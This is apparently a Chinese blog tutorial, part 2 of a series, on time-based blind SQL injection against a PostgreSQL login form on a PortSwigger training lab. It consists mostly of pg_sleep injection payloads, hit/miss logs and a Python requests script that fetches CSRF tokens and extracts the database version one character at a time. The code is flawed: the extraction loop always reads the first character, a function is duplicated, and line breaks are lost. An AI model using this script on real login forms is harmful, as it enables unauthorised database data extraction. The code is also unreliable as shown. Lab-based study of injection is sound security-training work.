sql注入从0到入院(P2)

' ; SELECT pg_sleep(5) --

#先检测长度是否＞某个数字，缩小长度范围len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"

【' ; SELECT CASE WHEN LENGTH(VERSION()) > 200 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 150 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 130 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 成功命中..【' ; SELECT CASE WHEN LENGTH(VERSION()) > 140 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 135  THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 没命中...【' ; SELECT CASE WHEN LENGTH(VERSION()) > 132 THEN pg_sleep(5) ELSE pg_sleep(0) END  --】 成功命中...

def length_search(high,payload):    '''定位字符串长度'''    while high:        print("当前长度:",high)        if get_str_len(high,payload):            return high        high=high-1

import requests,time,re

#靶场域名HOST="https://0a36000c0480d6798385960e00490037.web-security-academy.net/"



def login(sec,host,data):    start=time.time()    headers={'Content-Length':'94','Content-Type':'application/x-www-form-urlencoded'}    sec.post(host+"login",data=data,headers=headers)    if time.time()-start>5:        return True    else:        return False    

def check_version(number):    '''获取版本号'''    username="' ; SELECT CASE WHEN ASCII(SUBSTRING(VERSION() FROM 1 FOR 1)) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"%number

    sec=requests.session()    html=sec.get(HOST+"login").text    csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]    data=f'csrf={csrf_token}&username={username}&password=asdasd'    if login(sec,HOST,data):        print(f"【{username}】 成功命中...")        return True    else:        print("没命中...")        return False    def get_str_len(number,payload):    '''获取要注入的内容长度'''

    username=payload%number    sec=requests.session()    html=sec.get(HOST+"login").text    csrf_token=re.findall('"csrf" value="(.*?)">',html)[0]    data=f'csrf={csrf_token}&username={username}&password=asdasd'    if login(sec,HOST,data):        print(f"【{username}】 成功命中...")        return True    else:        print(f"【{username}】 没命中...")        return False    

def length_search(high,payload):    '''定位字符串长度'''    while high:        print("当前长度:",high)        if get_str_len(high,payload):            return high        high=high-1



sqli_result=''

#先检测长度是否＞某个数字，缩小长度范围len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) > %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"get_str_len(134,len_sqli)



#根据上面确定的设置一个10浮动以内的数字开启自动遍历len_sqli="' ; SELECT CASE WHEN LENGTH(VERSION()) = %s THEN pg_sleep(5) ELSE pg_sleep(0) END  --"str_len = length_search(135,len_sqli)print("长度检测命中结果:",str_len)for i in range(str_len):    for j in range(1,128):        print("当前:",j)        if check_version(j):            sqli_result+=chr(j)            break

print("注出数据库版本号:",sqli_result)